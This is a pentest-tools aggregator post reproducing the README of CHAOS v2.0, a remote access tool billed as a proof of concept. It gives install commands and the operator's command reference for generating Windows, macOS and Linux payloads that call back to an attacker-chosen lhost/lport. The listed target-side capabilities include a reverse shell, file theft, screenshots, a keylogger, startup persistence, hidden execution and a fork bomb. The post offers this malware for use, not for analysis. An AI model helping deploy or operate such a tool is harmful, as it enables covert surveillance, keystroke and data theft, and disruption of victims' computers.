Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all articles
Browse latest Browse all 5816

CHAOS Framework v2.0 - Generate Payloads And Control Remote Windows Systems

$
0
0

CHAOS is a PoC that allow generate payloads and control remote operating systems.

Features
FeatureWindowsMacLinux
Reverse ShellXXX
Download FileXXX
Upload FileXXX
ScreenshotXXX
KeyloggerX
PersistenceX
Open URLXXX
Get OS InfoXXX
Fork BombXXX
Run HiddenX

Tested On
Kali Linux - ROLLING EDITION

How to Install
# Install dependencies
$ sudo apt install golang git -y

# Get this repository
$ go get github.com/tiagorlampert/CHAOS

# Get external golang dependencies (ARE REQUIRED GET ALL DEPENDENCIES)
$ go get github.com/kbinani/screenshot
$ go get github.com/lxn/win
$ go get github.com/matishsiao/goInfo
$ go get golang.org/x/sys/windows

# Maybe you will see the message "package github.com/lxn/win: build constraints exclude all Go files".
# It's occurs because the libraries are to windows systems, but it necessary to build the payload.

# Go into the repository
$ cd ~/go/src/github.com/tiagorlampert/CHAOS

# Run
$ go run main.go

How to Use
CommandOn HOST does...
generateGenerate a payload (e.g. generate lhost=192.168.0.100 lport=8080 fname=chaos --windows)
lhost=Specify a ip for connection
lport=Specify a port for connection
fname=Specify a filename to output
--windowsTarget Windows
--macosTarget Mac OS
--linuxTarget Linux
listenListen for a new connection (e.g. listen lport=8080)
serveServe files
exitQuit this program
CommandOn TARGET does...
downloadFile Download
uploadFile Upload
screenshotTake a Screenshot
keylogger_startStart Keylogger session
keylogger_showShow Keylogger session logs
persistence_enableInstall at Startup
persistence_disableRemove from Startup
getosGet OS name
lockscreenLock the OS screen
openurlOpen the URL informed
bombRun Fork Bomb
clearClear the Screen
backClose connection but keep running on target
exitClose connection and exit on target

Video


FAQ

Why does Keylogger capture all uppercase letters?
All the letters obtained using the keylogger are uppercase letters. It is a known issue, in case anyone knows how to fix the Keylogger function using golang, please contact me or open an issue.

Why are necessary get and install external libraries?
To implement the screenshot function i used a third-party library, you can check it in https://github.com/kbinani/screenshot and https://github.com/lxn/win. You must download and install it to generate the payload.

Contact
tiagorlampert@gmail.com



Viewing all articles
Browse latest Browse all 5816

Trending Articles